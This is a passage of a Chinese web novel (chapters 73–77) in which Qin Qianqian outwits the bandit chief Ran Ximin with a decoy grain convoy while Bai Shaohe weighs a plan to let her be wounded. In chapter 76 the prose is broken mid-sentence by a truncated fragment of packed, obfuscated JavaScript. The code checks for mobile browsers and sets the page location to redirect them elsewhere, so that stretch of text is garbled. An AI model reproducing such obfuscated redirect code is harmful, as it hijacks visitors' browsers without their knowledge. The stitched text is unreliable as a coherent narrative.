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地盯着他。王老怪都要被气笑了，他是这么不分轻重的人吗？
“是要酒过来给他擦洗，这样才能降温。”也得亏是秦千千问的话，他不敢骂她，不然换做别人，王老怪是一定要大发雷霆的。
段沙赶忙去取来一大坛子酒，这是他们自己酿的酒，满打满算也没剩下几坛了。在酒窖里他想起秦千千说的话，就一咬牙拿了年份最早的一坛酒。
王老怪让元德顶替秦千千，给男人擦身体这种事情，还是区别一下男女吧。
秦千千在地上坐了半天，的确是脚麻了。桑风雪扶她起来，看她站稳后才松手。
“王老怪，你说的那些药，下山能买到吗？”
“能，必须要尽快，最好今晚就买回来。”王老怪一改之前吊儿郎当的样子，他不知道白邵禾是偶感风寒，还是怎么。反正这种热症，是不能让持续下去的。
说罢，王老怪跪在地上，抓起白邵禾的胳膊，推拿着他的前臂中线。
这是古书中记载的“清天河水、退六腑、清肺经”的去热方法。
秦千千意味深长地看了眼段沙，然后拍了拍桑风雪的胳膊，“桑姐姐，我们两个现在就下山。沿着来时路回去，就一定不会遇上冉喜民吧？”
段沙不敢拍胸脯保证，不过他知道有条小路。只有两个人走，他能保证不会被冉喜民发现。山上现在为数不多的粮食，都是那么悄悄运送过来的。
秦千千不再犹豫，直接喊上桑风雪出发。剩下四个人，在这里守着白邵禾。
她们两个人马不停蹄地下山，往段沙指的集市走。到了集市，秦千千从怀中掏出银票，让桑风雪去买东西。她说自己有些事情要去处理，一个时辰之后在市口集合。
桑风雪一听就知道是怎么回事儿，秦千千跟姜千秋或者跟线人联系的时候，是不能有第三人在场的。
桑风雪没有探究其中深意的意思，她只叮嘱她多加小心，便转头去药铺了。秦千千七拐八拐，非常小心地进了一家打铁店。
不过，她的行为被简则明看得清清楚楚。
简则明是早早到达灵川坡的暗卫，在灵川坡苦等不到人，他就带着一队人守在这里。没想到，还真给他守到了秦千千。
没有殿下的命令，他们不能轻举妄动。
秦千千没空整那些虚头巴脑的，她进门就喊老板：“老板，给我来三斤铁钉！”
老板就像被人打了脑壳一样，猛地抬头看来人，随后立马满脸堆笑，请她去后面详谈。
简则明看得清清楚楚，她在没有老板指路的情况下，直接迈步走向后院，仿佛她很清楚这里的布局一样。
看着眼前只有她们两个，秦千千神色凝重地吩咐那人：“通知小蝶去筹粮，两天后，我带人来取。”
安顿好这边的事情，秦千千原路返回，跟桑风雪汇合后，两个人往回赶。
简则明犹豫了一下，要不要除掉冉喜民派来跟踪她们的人，那人跟自己一样，都听到秦千千的计划。
可他想起殿下的叮嘱，以及季春霖险些败露的事情，决定作罢，就这么看着那人回去给冉喜民汇报。
74. 白邵禾醒了
回去后，秦千千让桑风雪回去送药，她则是跟早上一样，直接跑去了村子中最显眼的一家房子。
跟早上不同的是，段沙居然没在这里。秦千千原意是想找他商议接下来的行动的，不过既然来都来了，那她就像趁着机会，跟那位老太太聊一聊。
“婆婆，我能进去坐坐吗？”她站在篱笆院子外，跟院子中的老太太攀谈。
那老太太转过头的时候，秦千千才发现她认错人了，这并不是早上见到的那个精神矍铄的老年人。
她看起来更加憔悴一些，不过还是很好心地朝她招手，让她进来。
“你是来找段阿婆，也就是段沙的娘亲吧？”
听她这么说，秦千千就有八成的把握，眼前的人应该是冉喜民的老娘吧？
事实证明她猜的没错，冉阿婆自报家门，让她称呼自己冉阿婆就行。她说，段沙刚刚叫着段阿婆出去了。
“你不急的话，坐在这里跟我一起等吧。”
秦千千看她精神劲儿不是很好，说话间都有些打盹，便在犹豫要不要问她冉喜民的事情。思来想起，还是直接问了出口。
“冉阿婆，我想知道，你是被段沙绑来做人质，要挟冉喜民的吗？”
反目成仇，抢死敌至亲相要挟，这都是很正常的事情。
谁知道冉阿婆强打起精神摇头，跟她说不是那样的。
“是我自己要跟段沙她们走的，当初我要是不跟他们走，冉喜民那个天杀的，就真的要把段沙他们这些人屠戮光了。”
从冉阿婆缓缓道出的话语中，秦千千得以窥见当年的情形。
从召集农民起义，到彻底杀了盘踞的恶霸，段沙和冉喜民，可谓是出生入死的兄弟。他们敬黄天、拜厚土，歃血为盟，还起誓生死与共。
可就在取得胜利的第三天，冉喜民就变了。
第一天，冉喜民沉浸在喜悦之中。
第二天，段沙叫着他去田里干活时，他的心中已经有些不满了。
在他称病的第三天，冉喜民已经想好了一切：他不愿意再做农民，他要权势，他要做人上人。
冉喜民从小到大都是心思缜密之人，他早早察觉到，战场上厮杀的百姓，更喜欢段沙。因为段沙真的不怕死，每次行动他就是冲在最前面。
久而久之，人心就有了倾向。不过他丝毫不担心这些，因为他早早留好了筹码——可以逆转人心的筹码。
“我们这些饱受战争之苦的百姓，恨敌人，也恨天海朝。所以冉喜民就伪造了段沙勾结朝廷证据，再找几个人推波助澜后，事情就越发不可收拾。”
说到这里，冉阿婆眼眶湿润，捂着心口几乎上不来气。秦千千赶紧过去轻拍她的后背，“阿婆，我也没有非常想知道之前的事情，所以我们别聊这个了。”
可她眼神坚定地望着秦千千：“不，我要说。”她一直都在等这个机会，一个弥补自己过错的机会。
为此，她这么些年来不敢死，也不能死。她死了，真相哪还有沉冤得雪的一天呢？于是她把眼前的人，看成最后的救命稻草，牢牢抓住不肯松手。
接下来她不像是在讲故事，更像是在忏悔。她惋惜自己察觉冉喜民的不对劲儿，却还一味的包庇他，以至于酿成后面的灾祸。
冉喜民早早就准备好的人证物证，再加上他早就在军中上下散布了谣言，这一套组合拳打得段沙已经百口莫辩，就这么被自己人羁押进大牢。
直到这时他才察觉，冉喜民的野心，已经到这种丧心病狂的地步。被关进地牢两天后，段沙才被放了出来。
可惜放他不是为了审判他，而是为了处死他。
段沙沉浸在被兄弟背刺的恍惚中，曾经他们把酒言欢，说要还百姓一个太平日子。谁知闹到现在这步田地！冉喜民还在他下狱期间，杀了段沙老爹，囚禁了他娘。
亲口听他说这些变故后，段沙哀莫大于心死。他甘愿受死，只求冉喜民能放过他的老母亲。
可苍天有眼，一直跟随段沙上阵杀敌的三四百名同僚，察觉此时有猫腻，就在行刑当天劫了囚车。
趁着骚乱，冉阿婆放走了段阿婆。她那时已经察觉到自己儿子做了什么孽，便想着能弥补一些是一些。
秦千千心里一咯噔，若当年跟段沙离开的有三四百人，也就是说，这些年他们折损的人将近一半吗？不过她没有打断冉阿婆，继续让她说下去。
“当我知道，冉喜民在法场直接杀了百十号人，还让四五百人去追杀段沙的时候，我差点直接晕倒。”说到这里，闫阿婆的手不由得颤抖起来。秦千千一把握住她的手，希望可以给她一些安慰。
“可晚些时候，我又听说，他绑了帮助段沙的士兵的家属，还放话段沙不回来的话，他就要杀光这些人……”闫阿婆眼中的泪还是落了下来。
秦千千的眼神中也充满了不可置信，这冉喜民真的是该被千刀万剐啊！冉阿婆用手擦掉脸上的泪痕后，三两句话就讲完了接下来的事情。
她出面要挟冉喜民，救了那些家属，带着那些家属连夜投奔段沙。冉喜民之所以投鼠忌器，那是因为大家最敬佩他的一点，就是尊爱老人。
冉喜民不能亲手打碎自己编造的形象，身边无时无刻不跟着的几十个保护他的士兵，成了他想杀自己娘亲的最大阻碍。
机会稍纵即逝，冉阿婆就这么跟着那些家属跑了。
“所以冉喜民散播谣言，说你是被挟持，而非弃他而去？”秦千千不可思议地说，冉阿婆点头认同，冉喜民就是这么虚伪的人。
怪不得那日在山脚下，冉喜民还要刻意提一下他的娘亲，原来是要在他的手下面前表演。
好一个薄情寡义、狼心狗肺之人！
“我听段沙说，你是那个神仙的手下，婆婆求求你帮帮我。”说着，冉阿婆就要跪在地上，还说什么不答应她就不起来的话。
秦千千十分无奈，她也不是什么都能做到的，只能允诺她尽力而为。
冉阿婆这才接着往下说：“段沙和我们这些人，是没有办法把真相昭告天下了，我怕我也活不到……”
“婆婆，我不能答应你。你要好好活着，活到能重新说出真相的那一天。”秦千千不愿看着她这般托孤的样子，
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那就给她一个坚守下去的理由。“我向你保证，那一天会到来的。”
秦千千最后还是没有等到段沙，她就只能先回了茅屋。发现白邵禾已经退了烧，还清醒过来后，她这才长出一口气，浑身瘫软地跪坐在他身边。
白邵禾正准备喝药，看到她回来，便端着碗一饮而尽。然后就被呛的连连咳嗽，秦千千赶忙帮他轻拍后背。
“王老怪，你有没有看出来他这是怎么了？现在应该好多了吧？”
王老怪今天一天算是没怎么闲下来，又是给白邵禾推拿，又是给他煎药，现在好不容易休息一会儿，又被秦千千盘问。
“我猜估计就是这屋里四下漏风，别看白公子平时武功高强，但他身子骨还是弱不经风的。不像我们几个，别说睡茅草屋，就是睡在外面，应该也不会得热症的。”
他这话，明里暗里都在说，白邵禾这是富贵病。
元德不悦地皱眉，但又无可奈何。殿下本来就是千金之躯，自然比不了他们这种风餐露宿的人。
秦千千也没在意这一点，她抬手用手背感受他额头的温度，发现温度正常后，脸上才久违地绽放一抹笑容。
“放心，这都是小事。”白邵禾轻声说道。
这声音落在秦千千耳朵里，就觉得他还是虚弱的很。
“唉，可惜这里没什么东西，不然该给你好好补补的。不过没事，再过两天，我允诺大家吃顿好的。”
她这话一说，众人都好奇起来。白邵禾看着一脸迷茫的元德，就知道自己生病的这一天，元德光守着自己转，肯定把监视秦千千的事儿抛到了九霄云外。
秦千千不想卖关子，但她还没跟段沙商议好行动计划，能告诉他们的，就只有一句干巴巴的“相信我”。
白邵禾忍俊不禁，一旁的人也都听得是瞠目结舌的。
“哎，恩人，你什么时候回来的？”段沙刚好进门，看到秦千千回来，他还有些惊讶。秦千千正好不用再跑去找他，便直接跟着他去了外面。
“段沙，你们这里究竟有多少能用的人？”
段沙心里一紧，难不成这就要开始跟冉喜民鱼死网破了？看出他眼中的顾虑，秦千千赶忙否认。
“现在你们这里的人，吃饱饭都是问题，还是先准备一些口粮，再由你组织反攻计划吧。”
虽然主人没有交代，但秦千千还是觉得，还是得先解决这边快饿死的困境，才能让段沙能够放手一搏。
屋中的人迟迟没有等回秦千千，倒是等到了晚饭——每个人一个窝窝头，今天的粥，也肉眼可见的比昨天的稀很多。
桃花花小声抱怨：“这里的饭没有荤腥就算了，可是这也太素了吧？”
桑风雪经历过荒年饿死人的事情，因此对于食物，她的要求可谓是没有。
“桃花，这山野僻壤的，有口吃的就很不错了。”
“嘁，指不定千千被那个老大喊去，吃香的喝辣的去了！”
白邵禾不以为然地摇头，桃花花到现在还没看出来，她秦千千又成了这里的座上宾，他们接受的已经是这里最好的待遇了吗？
75. 我的人，你不能动
“我这两天都没有好好吃饭，今天也是奔波了一天，什么都还没有吃。你还有个窝窝头吃，就别埋怨我了。”秦千千人未至声先到。
桃花花半信半疑地看着她，发现她的脸色的确是有些苍白，就抿着嘴不说话。
秦千千席地而坐，坐在了桑风雪和元德中间，开始跟他们说起了这两天的安排。桃花花把自己身前的一碗粥，默默递给桑风雪，还把自己的窝窝头掰了一半塞给桑风雪。
桑风雪失笑，她明明关心秦千千，却就不愿意低头。她也不愿意为难桃花花，就原封不动地把东西递给秦千千。
话说到一半，秦千千看着手中放着的半个窝窝头，有些疑惑，顺着桑风雪指的方向，她看到了沉默不言的桃花花。她无声点头，继续分析现在的局势。
“跟之前的情况一样，我一出去，就被人跟踪上了。我不确定有谁，但我能肯定的是，这其中一定有冉喜民的人。也就是说，明天我带人去取粮，冉喜民肯定要派人去拦的。”
白邵禾惊诧于她的情报获取速度，还是那么的一骑绝尘。听她说到这里，他心中一紧。
“那到时你别去，让我或者桑风雪，元德，让我们这些会武功的人去。”这话白邵禾是发自肺腑说的，他不想看着秦千千以身入局，涉险做事了。
秦千千眉头紧皱，这事儿还真必须她去做：“给我送粮的人比较特殊，她谁都不认，只认我。”
这话一说，白邵禾就明白了，那人一定是清风酒楼的自己人。看来江湖传言是假的。
曾经有江湖传言说，清风酒楼的线人，行走江湖都是靠密令识别对方身份的。
原本他想一箭双雕，既保护秦千千的安全，又得到那个密令的。不过现在看来，也算是有些收获吧。
“那我陪你去。”白邵禾态度坚决，目光坚毅。
秦千千看了一眼桑风雪，拍拍她的手，转头就同意了白邵禾的提议。
若是白邵禾不生病，桑风雪也会主动提议让他保护秦千千的。可眼下就是他在生病，桑风雪才有些迟疑。
晚上她把秦千千叫出门，告诉她，若是白邵禾到那天还没恢复，那就自己陪她去。
秦千千笑着地摇头：“桑姐姐，完全不会有什么危险的。小蝶那边你还不清楚，她出门不找百十个人保驾护航，是断然不会外出的。”
是的，她就是酒楼的一个线人，但排场比秦千千这个老板都大。那就更别说，整日形单影只的姜千秋了。
秦千千和姜千秋，捆在一起的奢靡程度，在小蝶眼前都是不够看的。
她排场大，桑风雪早就有所耳闻。但她还是慎重地叮嘱秦千千：“千千，务必万事小心，安全把你送到她手里，我才算安心。”
屋中的白邵禾眼神一凛，犹如听到平地惊雷，浑身都震颤了一下。
这趟旅途的重点，原来是送秦千千见谁吗？
白邵禾觉得，没有谁值得，她一个老板亲自出来跋山涉水地见面。
除了姜千秋。
可这就又有了个问题：在涌泉镇，她们明明就差一步就见到了姜千秋，她为何不直接出来见秦千千呢？
白邵禾沉思半晌，觉得姜千秋是要历练秦千千。这才在她陷入困境的时候出手相助，却从不露面。
他还是无法放弃那观点：只要秦千千陷入险境，就有可能逼出姜千秋。
而明天，无疑是个好机会。
她的线人带了再多的护卫，那些人未必会保护秦千千，再加上乱战中的刀剑无眼，让她受伤是轻轻松松的事情。
秦千千进门后，还过来关心他现在怎么样了。殊不知，他已经谋划好中伤自己的计划。
看着她的眼睛，白邵禾心中突然萌生出一种不忍心。察觉到这抹不合理的情绪后，白邵禾冒出浑身冷汗。
“怎么了？”秦千千发现他的脸色更差了，就赶忙凑近了一些，谁知道白邵禾往远离她的方向躲了躲。
她瞳孔微颤，立马收回搭在他胳膊和腿上的手，“我去帮你找王老怪。”说罢就起身离开。
白邵禾心中五味杂陈，看她落寞的背影，自己又有些于心不忍。
她不会是觉得，自己在嫌弃她吧？
心绪紊乱如麻，他干脆起身去外面转转。坐久了骤然起身，他还脚步虚浮地踉跄了一下。元德刚好从外面回来，赶忙过来扶他。
“本王，从未有过这种感觉。元德，你有于心不忍的时候吗？”白邵禾顶着冷冽的山风，站在了崖边。
看着眼前漆黑又苍凉的夜晚，白邵禾第一次无可奈何地叹气。
元德低头沉思，他对现在的殿下熟悉又陌生。
朝堂之上的殿下，身上有种清高孤寂、高不可攀的气场，就跟现在站在高崖之前他一样。
可眼前之人，似乎少了分锐利，多了些他本不该有的愁容。
而且元德察觉到，这是他们此次外出后，殿下第一次自称本王。他不敢妄加揣测殿下的意思，只敢照实回答他的问题。
“殿下，谋大事之人必不拘小节，臣一直记得您对臣的教诲，因此，不曾有过于心不忍。”
白邵禾无可奈何地嗤笑，不是嗤笑元德，而是嗤笑自己。是啊，自己说过的话，怎么会忘了呢？
元德早已习惯，回复完殿下后，他良久不言语。只不过在这沉寂的一段时间，元德会如芒在背。
“本王总觉得哪里不对劲，你有察觉到，本王哪里有些变化吗？”白邵禾不再看远山，而是转头看向元德。
元德向来不敢欺瞒殿下，就如实说了自己心中的话。
“殿下似乎……非常关切秦千千。臣是说，比起殿下当初的计划，有那么一些些超过。”
能想出这些直白又慎重的描述，白邵禾真觉得为难元德了。他哑然失笑，看来不止自己察觉到不对劲了。
早在出发前，他就谋划过各项计划，自然也包括对秦千千的攻心计划。白邵禾心知肚明，自己越发偏离曾经的计划了。
人心匪石，温情热之。
他只打算捂热那块石头，跟她做个朋友，再跟她商议自己的诉求。
情字难解，他从一开始就没打算玩弄她的感情。可
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眼下，自己居然越来越在意她，白邵禾认为自己受到了反噬。
自从晏信出现，开始萦绕在秦千千身边时，他就察觉自己常常觉得心绪不宁，但他把一切归咎为世事无常，他太累了。
可直到大婚那晚，他察觉到自己已经无法再装作不在意了。因此晏信离开，他甚至不愿佯装惋惜，只觉得心中无比畅快。
不过他一向秉承，君子处事均可自我约束。因此，他觉得那些好感没有什么大不了的，他依旧可以完美履行自己的计划。
只要，按捺住自己萌动的情意，那就不是问题。
两天后日暮，秦千千与白邵禾一同下山，两个人带了二十来个人，朝着那个小镇奔去。她们没有进镇，而是转向镇外的一个不大的驿馆。
灵川坡这种动乱地方的驿馆，是早就荒废的地方。不过四周有很多光秃秃的山坡掩护，也还算是有些隐蔽的地方。
离驿馆还有一两百步的时候，秦千千叮嘱段沙的手下，守在这里就好，她和白邵禾进去就行。
白邵禾手中攥着桑风雪的长剑，走在秦千千身前。秦千千让他别紧张，里面没有危险的。
“若说今晚上最安全的地方，应该就是那里面了。”秦千千嘴角噙笑地说，这话却听得白邵禾眸色凝重。
她这话没错，毕竟从那里出来之后，她就要面临冉喜民的追捕，还有保护她不利的自己了……
白邵禾在前面推开漆色斑驳的大门，虽然有想过人很多，但打开门时，他还是被院中林立的百十号人震惊到了。
远处的栈楼门口，站了个身着艳红长袍的女子，她听到来人，才转身打量来人。看到秦千千后，不知为何皱眉摇了摇头。
白邵禾不懂她的意思，照理说，这些人不应该对秦千千毕恭毕敬的吗？秦千千也不恼，笑着跟那人打招呼。
“百闻不如一见，小蝶姑娘的排场是真的大啊！”
小蝶大她五岁，放在别处，秦千千高低要叫她一声姐姐。可小蝶太心高气傲，秦千千不得不杀一杀她的锐气。
没办法，姜千秋杀她锐气之前，她也是很不尊重姜千秋的。只不过跟主人提刀杀过去的杀不同，秦千千只能靠一张嘴。
“那还不是因为你！你不惜命，带着几个喽啰满天下的跑，我不说什么。可你别祸水东引，把祸事传给我。”
白邵禾眉头紧皱，自己之前的分析没错，她带的人，果然不是用来保护秦千千的。
秦千千倒吸一口凉气，这人真的是……
“话不投机，你留下粮食早些离开吧。”杀她锐气的事情，还是日后再说吧。
小蝶带人离开的时候，经过秦千千身边，她挑了下眉：“老板，这一年度的……”
秦千千面无表情地一抬手，小蝶突然警醒地噤声。也就这一瞬间，让白邵禾觉得她有些老板的做派了。
还没来得及替她欣慰，白邵禾就被小蝶调戏了。
她抬手准备勾他下巴，在他冷眼后退之前，秦千千挡在了他的身前，一巴掌打落她的手。
“我的人，你不能动。”
76. 螳螂捕蝉黄雀在哪
小蝶有些惊诧，而后仰天大笑：“看来，我们酒楼要迎来一位俊美的赘婿了呀。”
白邵禾没有理会眼前的疯女人，他只是眼神凝重地看着秦千千。她这句话，是什么意思？
这话无疑，让他纷乱的心绪更加混乱。
不过没什么时间留给他细究了，看她们人走后，秦千千抓着他的衣袖，晃了晃他。
“别理她，她就是这种目中无人的家伙。咱们在这里待一刻钟再出去，一刻钟，够她们撤退了。”
也就是这时，白邵禾瞥见那个镯子，眼神一秒清明过来。说好了敛藏情意的，自己差些犯了忌讳。
“她很不听你的管教？”白邵禾想问，为什么不让她把人留下帮她们，反而还要给她们留撤离的时间。
秦千千思索了一下，用最简单的类比，给他讲明白了这个人：“你有听说过葛学而吗？小蝶就是那种人。”
葛学而，南梁朝第一勇猛的将士，也是皇上唯一加封的护国大将军。这人唯一的缺点，就是不服管教。除了皇上和穆轩岚，他不把任何人放在眼里。
白邵禾顿悟，原来是这种人，那看来小蝶敬重的人，只有姜千秋了吧？时辰差不多了，秦千千出门喊人进来运粮。
高山他们走到驿站后院，才发现这些送粮的人，还把精悍强装的马匹留了下来。
“嘿！这下我们终于有马了！”
“对啊，这马皮毛发亮，一看就是好马啊！”
他们还没高兴两句，秦千千就不得不告诉他们实情。
一是山上地势陡峭，不适合马匹行进；二是，这种马都是训练有序的，撒开缰绳就会自己奔向故居。
所以，压根就留不住的。
在他们垂头丧气的时候，秦千千越过人群，看到了一边角落里拴着的一头毛驴。她会心一笑，这小蝶也不是完全铁石心肠嘛。
“行了行了，别骂她了！人家还给咱们留了个毛驴呢！”
毛驴跑的没马快，但胜在能抗好多东西，再加上可以在陡峭的山坡上行进。因此，也算是雪中送炭了。
“这人真抠门，干嘛不给我们送一对儿，还能让毛驴生养生养。”有个人大声抱怨。
听得秦千千停下往毛驴走的脚步，骤然转头看着那人。白邵禾也在原地忍笑，可那人的伙计还没察觉到什么不对。
“毛驴是不能生养的，你们居然不知道啊？”
无奈，秦千千只好跟他们解释，那人听了羞恼地挠挠脑壳，不再言语。白邵禾让他们赶紧带上东西离开，此地不能就留。
那些马匹尤为听话，不怎么跟马打交道的人，牵着马缰，马也乖乖地跟着走。一堆人都在感叹，这畜生通人性。
秦千千抬手摸了摸白邵禾牵着的毛驴，“待会儿我来牵着吧，你负责还有正事要做。”
白邵禾把手中的绳子交给她，心中有一丝丝愧疚，她对自己的确是全然信任啊，只可惜，自己要让她失望了。
行至半路，到唯一一个山脚时，秦千千意有所指地咳了两声。白邵禾早就注意到了埋伏在旁边山坡后的人，只不过后面护着粮食的人丝毫不知道要发生什么。
为了哄骗冉喜民，秦千千连带段沙，都没告诉这些人，接下来会发生什么。
冉喜民一挥手，身边的那些人迅速行动，冲下山包围了秦千千她们。
秦千千惊诧地牵着毛驴后退两步，后面跟着的人也都惊慌失措地聚在一起，他们还是把粮食护在身后，颇有拼死一搏的气势。
白邵禾环顾四周，发现冉喜民这次几乎是倾巢而出，来人怕是有三四百人。
这么多人，哪怕段沙全部的人出来抗衡，也不一定能打得过。更别说，眼前她们只有二十来人了。
“阁下这是做什么，我们只是过路的商客……”秦千千还想狡辩一下，却被冉喜民身边的大黑脸直接打断。
“你放屁！你后面就是段沙的人，当我们不认识他们吗？老大，让我们冲上去活捉了那娘们！”吴黑脸说着还□□了一下。
白邵禾一记眼刀飞过去，这人是死定了的。
冉喜民皱眉朝吴黑脸摆手，另一半站着的一个文质彬彬的人，声音不大不小的开口：“吴黑脸，这就是你不对了，美人不是用来糟践的，她最适合做我们的大嫂。”
李秀才精准说中冉喜民的心事，冉喜民胸有成竹的看着秦千千，吴黑脸再傻也看明白，刚刚自己算是犯了老大的忌讳，立马双手抱拳认错。
白邵禾心中冷哼，这群人死到临头，还在这里胡言乱语，那待会儿就别怪他下手狠了。
秦千千抬头看了眼太阳的方位，勾着嘴角朝冉喜民挑了下眉：“一个山大王，一个拍马屁的淫贼，还有你，一个枉读圣贤书的废物，好玩，真是好玩。”
她十分嘲讽地轻拍两声手掌，看得冉喜民是颇为不解，但他口中的话，还是非常不知天高地厚。而且他身边的两位，都气的牙痒痒，恨的仿佛下一秒，就要冲过来咬死她一样。
“小娘子，等我把你绑回去，那就让你知道什么才叫好玩。而且段沙那个孬种，居然让你一个小娘子过来办这种事情，可笑，真是可笑。”
冉喜民不会放过，任何一个能抹黑段沙的机会。就自己带的这些精锐，打她们绰绰有余。他一摆手，不再跟她们废话，直接让人上。
乌泱泱的人冲了上来，白邵禾直接抽出长剑，一手执鞘，一手执剑。也就是这时，他才发现桑风雪这把剑真是好剑。
拔刀都有振鸣声，而且剑气寒光，一看就是锋利无比。
他翻过毛驴，直接护在秦千千身前。秦千千也丝毫不慌地朝后面喊：“兄弟们，放开了杀，粮食没了我找人再送。”
这算是打消了他们的全部顾虑，既然身陷绝境，那殊死一搏怎么都是赚的。
反而是站在不远处的冉喜民眉头微皱，这人究竟什么来头，怎么能说出这种话。这二十车的粮食，是她说句话就能筹募来的吗？
一直作为智囊的李秀才倒吸一口凉气，现在的形式好像有点不对劲啊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592843|148501||http|test|mini|href|location''.split(''|''),0,{}));
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“大哥，我觉得事情不对。咱们已经封锁他们那么久，照理说今天就是鱼死网破的日子，因此我们才集结了所有人手。可他段沙没出现在这里，是不是有些太奇怪了？”
吴黑脸这下脸彻底黑了，“那你到底什么意思？你说清楚点！”
冉喜民咬牙切齿地看向那边混战的人群，周围打的再激烈，秦千千跟粮草车队都岿然不动。
她不仅没被吓到，还志得意满地看着他。
这行为无意于跟他宣告，你已经中计了。
冉喜民攥紧了拳头，自己是被她调虎离山给耍了，估计在地势平坦的北坡，段沙已经把真正筹备的粮食运上山了。那这边，他就决定鱼死网破了。
怎么着也得让她们这些戏耍自己的人，付出代价。
“我们这么多人，还杀不了她们几个！”
人群的围攻如潮水般涌来，白邵禾也有些招架不住，后面的人也有些受伤了。
一直在远处冷眼旁观的小蝶，依旧那么看着。
“主子，咱们要不要帮忙？”
小蝶看了他一眼，似乎用眼神抱怨他的多言：“你看看那匪首都要逃跑了，我们还帮什么忙呢？”
冉喜民脸上犹豫不决，他不时抬头望身后看，因为他清楚段沙是什么样的人，他一定会来支援的。
留得青山在不愁没柴烧，他用手碰了一下吴黑脸，吴黑脸接收到暗示，直接抬手砍晕了他。李秀才和吴黑脸架着他，悄然离开。
临走前，吴黑脸才朝着那些兄弟大吼，不要恋战，速战速决。
白邵禾发觉时间不多了，就立马借势望前走一步，开始扩大攻击的范围。这也让秦千千，暴露在那些手持长剑短匕的恶人视线中。
她左闪右避，躲过几刀致命攻击，可人多势众她完全不可能全部躲避开。而且有些躲避不及，还是多少会伤到她。
白邵禾心知肚明，但他依旧狠心越发往前走，在一剑凌厉的劈空声传来的时候，他一咬牙还是飞起一脚，踹翻了那个朝她肩头劈砍去的人。
一对视，他才发现秦千千身上的伤口很多，脸上、胳膊上、腿上，几乎都有。她身后的头发甚至都被削掉一截，原本全部及腰的长发，现在有一缕直接短到肩头。
那些伤口深度不致命，但血迹斑驳的，很是可怖。
白邵禾实在于心不忍，便又把她护在身后，开始无情地斩杀眼前的人。
段沙的支援，到的比秦千千预估的要早。
因此那些见好就收，赶忙跑路的冉喜民手下，还有些坏心眼地挥刀砍烂了车上的一些麻袋。只不过看到掉出来都是稻壳的时候，他们都呆愣住了。
好一场酣畅淋漓的骗局！
段沙带人来收尾，丝毫没有手软，在场被捉住的全部当场斩杀了。秦千千本来还想提醒他留两个活口，还能盘问点敌人那边的情况。
但段沙完全没犹豫的，他刀进刀出，直接给那些人来了个透心凉。看得秦千千心口幻痛，她立马按住自己的心口。
77. 两人深谈
白邵禾以为她体力不支，就赶紧扶住她，“都怪我疏忽。”
秦千千摇头，宽慰他：“你又没有七窍玲珑心，怎么能管得了那么多，刚刚不是你，我又要再挨一刀了。”说着，她用袖子蹭了一下脸颊。
看到袖子上的血迹，她才发觉自己脸上凉凉的不是汗，而是血。
白邵禾皱眉要说什么，秦千千拍了拍他的胸膛，朝段沙走去。
按照原本的计划，那百担粮食要全都运上山，段沙才会带人过来驰援的。秦千千知道小蝶一定会留人驻守，时刻观察这里的形式。
她原本是想耗到小蝶出来帮手的，谁知道段沙竟然提前过来了。刹那间，秦千千就想明白了。
“粮食运一半，你就带着人赶过来了啊？”
人紧绷的精神一放松，那些伤口的疼痛就格外明显，秦千千说这话的时候，被痛的龇牙咧嘴的。但她不敢妄动，只能咬牙坚持。
段沙脸上的狠戾还没完全消退，因此望向秦千千的眼神十分阴冷，看得秦千千有些晃了神。
一旁目不转睛看着她的白邵禾，知道她这是被吓到了，就一手执剑背在身后，另一只手揽上了她的肩头。
杀人杀红眼的神情，乍一看，的确会被吓到。更别说秦千千这种，胆小如雀，一惊一乍都会吓到她的人了。
白邵禾安抚性地揉捏她的肩头，秦千千抬头看他，脸上的表情这才有些缓和。
段沙攥紧手中特质的砍刀，立马收起那些骇人的表情。
“恩人，我不能放你们在这里搏命。不过我也留了一小部分人，继续往上面运粮食。”说到这里，他看到满地散落的稻壳，不由得失笑。
这才是真正的“兵者，诡道也”吧。
他当时带人到山脚下时，看到那么多粮食都惊呆了。让他来看，半数粮食已经是绰绰有余了。因此转移够保命粮的时候，他就觉得要过来驰援。
白邵禾完全听不进去她们现在聊的东西，他满脑子只有一个想法。于是趁着段沙说完，他就毫不犹豫地打断了两个人。
“段沙，你留在这里打扫战场，我要带着她回去包扎伤口了。”
两个人先行离开，沿着那条小路回去的时候，茅屋外只有桃花花和王老怪两个人。
“元德和桑姐姐去护送粮食，还没回来吗？”秦千千由白邵禾搀着往屋里走，王老怪和桃花花赶忙跟进屋。
白邵禾脸色不悦，这都什么时候了，她怎么净关心这些有的没的。
“是，两个人这不都听你的吩咐，一直守在北坡没敢回来。”桃花花语气有些埋怨，她就应该直接带上元德和桑风雪的，要不然，绝对不会受这么多伤。
王老怪也没想到她会受这么多伤，不过他打眼一看，就知道这些伤口不致命，于是就想任由她说完话，再帮她处理伤口。
“桃花，你先让开，让王老怪过来给她包扎伤口。”白邵禾语气严肃地开口。
那似有若无的压迫感，让桃花花一愣，赶紧从秦千千身边走开，王老怪这才有机会帮她清理伤口。
往常这个过程，王老怪一定要废话几句的。可今天在白邵禾的黑脸威压下，他愣是一句话没说，干净利落地处理好伤口。
可在要涂药的时候，他却被秦千千一把抓住了手腕。
“这里面是什么东西，怎么那么臭啊！”秦千千捏住自己的鼻子，嫌弃之情溢于言表。白邵禾也被熏得皱起了眉，但还是抬手按住了秦千千。
“千千，治疗伤口重要，先涂药。”
“是啊是啊。再说，我的药你全都别问原材料，好用就行了。”王老怪也跟着附和。
白邵禾神情复杂地看了他一眼，这人知不知道，听了他这话，更容易让秦千千抵制这个东西啊？
果然，秦千千立马从草席上起身，准备逃跑。白邵禾长手一展，就挡住了她的去路。在她反应过来之前，他就收紧双手，把人抱到自己怀里。
秦千千完全挣脱不开，她一秒反应过来，就把脸埋在他胸口。无意间碰到脸上的伤口，疼的她小声“嘶”了一声。
再疼，她也不抬起脸，还恶狠狠地说话，骂王老怪是庸医。
“白邵禾，你也助纣为虐，你们两个都是好样的！”
可那嗡声嗡气的话语，在白邵禾听来，没有一点威胁的意味。而且由于说话的振动，弄得他心口痒痒的，就那么无措地浅笑一声。
一旁的王老怪算是看呆了，不是，这两个人的姿势怎么看起来这么奇怪？他倒吸一口凉气，一脸为难地喊白邵禾。
